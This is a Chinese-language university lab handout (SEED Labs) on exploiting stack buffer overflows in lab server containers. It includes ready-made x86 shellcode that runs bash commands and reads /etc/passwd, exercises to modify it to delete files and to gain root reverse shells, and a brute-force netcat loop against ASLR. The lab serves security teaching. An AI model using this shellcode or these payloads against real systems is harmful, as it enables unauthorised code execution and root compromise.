缓冲区溢出攻击实验-Server 版
章节大纲
-
本实验在 SEEDUbuntu20.04 VM 中测试可行。你可以在本页面右端选择虚拟机版本为 SEEDUbuntu20.04,点击“创建虚拟机”来获取虚拟机平台的临时用户名与密码,登录虚拟机平台即可获得一台预先构建好的 SEEDUbuntu20.04 VM,该虚拟机以及用户名密码将在开启 24 小时后自动销毁。你也可以在其他 VM、物理机器以及云端 VM 上自行配置环境进行实验,但我们不保证实验能在其他 VM 下成功。实验所需的文件可从下方下载,解压后会得到一个名为 Labsetup 的文件夹,该文件夹内包含了完成本实验所需的所有文件。
-
缓冲区溢出攻击的最终目标是将恶意代码注入目标程序,从而使该代码能够在目标程序的权限下执行。Shellcode 是在大多数代码注入攻击中广泛使用的技术。我们通过本任务来熟悉它。Shellcode 通常用于代码注入攻击。它本质上是一段启动 shell 的代码,并且通常用汇编语言编写。在此次实验中,我们仅提供了一个 Shellcode 的二进制版本,并没有解释其工作原理,因为这比较复杂。具体请参阅名为《Shellcode 实验》的 SEED 实验。以下我们展示 32 位的 x86 Shellcode 版本。
% x86 版本 shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" 🄰 "-c*" 🄱 "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *" 🄲 # 这行中的 * 作为位置标记 * "AAAA" # 占位符,对应 argv[0] --> "/bin/bash" "BBBB" # 占位符,对应 argv[1] --> "-c" "CCCC" # 占位符,对应 argv[2] --> 命令字符串 "DDDD" # 占位符,对应 argv[3] --> NULL ).encode('latin-1')
该 Shellcode 启动了 "/bin/bash" shell 程序(行 🄰),但给它提供了两个参数: "-c"(行 🄱) 和一个命令字符串(行 🄲)。这表明 shell 程序将运行第二个参数中的命令。这些字符串末尾的 * 仅是占位符,并在执行 Shellcode 时会被替换为一个零字节,即 0x00。每个字符串需要有一个零来结束,但我们不能把零放在 Shellcode 中。相反,我们在每个字符串的末尾放置了一个占位符,在执行过程中动态地将零放入该占位符中。如果我们希望 Shellcode 运行其他命令,只需修改第 🄲 行中的命令字符串即可。但在进行更改时,请确保不要改变这个字符串的长度,因为 argv[] 数组中占位符的起始位置(紧接在命令字符串之后)是硬编码在 Shellcode 的二进制部分中的。如果改变了长度,则需要修改二进制部分。为了保持该字符串末尾的星号处于相同的位置,您可以添加或删除空格。你可以在 shellcode 文件夹中找到一个通用的 Shellcode。里面有两个 Python 程序:shellcode_32.py 和 shellcode_64.py,分别用于 32 位和 64 位 Shellcode。这两个 Python 程序将把二进制 Shellcode 写入 codefile_32 和 codefile_64 中。然后,你可以使用 call_shellcode 来执行其中的 Shellcode。// 生成 Shellcode 二进制文件 $ ./shellcode_32.py → 生成 codefile_32 $ ./shellcode_64.py → 生成 codefile_64 // 编译 call_shellcode.c $ make → 生成 a32.out 和 a64.out // 测试 Shellcode $ a32.out → 执行 codefile_32 中的 Shellcode $ a64.out → 执行 codefile_64 中的 Shellcode
请修改 Shellcode,使得你可以使用它来删除一个文件。请将你修改后的 Shellcode 附在实验报告中,并附上截图。 -
当我们使用包含的 docker-compose.yml 文件启动容器时,将会运行四个容器,代表四种难度级别的难关。我们将在这个任务中攻打第一关。
-
在本任务中,我们稍微提高攻击难度,将不显示一些关键信息。我们的目标服务器为 10.9.0.6。端口号仍为 9090,且易受攻击的程序仍是 32 位程序。我们首先向此服务器发送一个正常消息。以下是由目标容器打印出的消息。
// 在虚拟机(即攻击者机器)上 $ echo hello | nc 10.9.0.6 9090 Ctrl+C // 容器中打印出来的消息 server-2-10.9.0.6 | Got a connection from 10.9.0.1 server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 6 server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffda3c server-2-10.9.0.6 | ==== Returned Properly ====
我们看到,服务器仅提供了一个线索,缓冲区的地址,而没有提供帧指针的值。这意味着缓冲区的大小是未知的,这使得利用该漏洞做攻击比第一级更加困难。虽然实际的缓冲区大小可以在 Makefile 中找到,但在攻击中你不被允许使用这些信息,因为在现实世界中你大概率是看不到这个文件的。为简化任务,我们假设缓冲区大小的范围是已知的。另一个对你可能有用的事实是,由于内存对齐的原因,在32位程序中帧指针的值总是4的倍数,在64位程序中则是8的倍数。缓冲区大小范围(以字节为单位): [100, 200]
你的任务是构造一个 payload 来利用服务器上的缓冲区溢出漏洞,并通过反向 shell 技术在目标服务器上获取 root shell。请注意,你只能构造一个payload,它必须能应付该范围内的任何缓冲区大小。如果使用暴力破解方法(即每次尝试一个缓冲区大小),将无法获得全部分数。尝试次数越多,越容易被目标检测击败,因此减少尝试次数对于攻击来说至关重要。在实验报告中,需要描述你的方法,并提供证据。 -
在之前的任务中,我们的目标服务器是 32 位程序。在这个任务中,我们将会切换到一个 64 位的服务器程序。我们的新目标为 10.9.0.7,该地址运行的是 64 位版本的 stack 程序。首先,我们将向这个服务器发送一条问候消息。下面将会打印出目标容器输出的消息。
// 在虚拟机(即攻击者机器)上 $ echo hello | nc 10.9.0.7 9090 Ctrl+C // 容器输出的消息 server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 6 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0 server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe070 server-3-10.9.0.7 | ==== Returned Properly ====
你可以看到帧指针和缓冲区地址的值现在为8字节长(而32位程序中是4字节)。你的任务是构建一个 Payload 来利用服务器的缓冲区溢出漏洞。你最终的目标是在目标服务器上获得 root shell。你可以使用任务 0 中的 shellcode,但是你需要使用 64 位版本的 shellcode。与32位机器上的缓冲区溢出攻击相比,在64位机器上的攻击更为困难。最困难的部分在于地址问题。虽然 x64 架构支持 64 位地址空间,但目前只允许从 0x00 到 0x00007FFFFFFFFFFF 的地址。这意味着每一个8字节地址的最高两位总是为零。这就带来了一个问题。在我们的缓冲区溢出攻击中,我们需要将至少一个地址存储在 Payload 中,并通过 strcpy() 函数将其复制到栈中。我们知道 strcpy() 函数会在遇到零时停止复制。因此,如果负载中间出现了一个零,则该零之后的内容将不会被复制到栈中。如何解决这个问题是这一关中最难的挑战之一。在你的报告中,你需要描述你是如何解决这个问题的。 -
在此任务中的服务器与第 3 关中服务器相似,不同之处在于缓冲区大小要小得多。从以下输出中,可以看到帧指针和缓冲区地址之间的距离比第 3 关要小得多。你的目标仍然是一样的:获取此服务器上的 root shell。服务器仍会从用户那里接收 517 字节的数据输入。
server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 6 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe190 server-4-10.9.0.8 | ==== Returned Properly ====
-
在本实验的开始,我们关闭了其中一种防护措施——地址空间布局随机化(ASLR)。在这个任务中,我们将重新启用该功能,并观察它如何影响攻击。你可以在虚拟机上运行以下命令来启用 ASLR。此更改是全局性的,并且将会影响虚拟机内部所有正在运行的容器。
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
请向第一关和第三关服务器发送一个 hello 消息,多发几次。在你的报告中,请记录你的观察结果,并解释为什么启用 ASLR 使缓冲区溢出攻击会更加困难。在 32 位 Linux 系统中,可用进行地址随机化的比特数仅为 19 比特。这不够用,如果我们反复运行攻击,则很容易击中目标。对于 64 位系统,用于随机化的比特数显著增加。在这个任务中,我们将在 32 位的第一关的服务器上尝试此方法。我们将使用暴力方法反复攻击该服务器,希望我们的负载中的地址最终会是正确的。我们将使用在第一关攻击中使用的负载。你可以使用以下 Shell 脚反复攻击目标服务器。如果成功获得反向 shell,脚本会停止。如果你足够幸运,在 10 分钟内应该可以获取到一个反向 shell。#!/bin/bash SECONDS=0 value=0 while true; do value=$(( $value + 1 )) duration=$SECONDS min=$(($duration / 60)) sec=$(($duration % 60)) echo "$min minutes and $sec seconds elapsed." echo "The program has been running $value times so far." cat badfile | nc 10.9.0.5 9090 done
-
你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。实验报告的提交方式会由你的老师进行具体安排。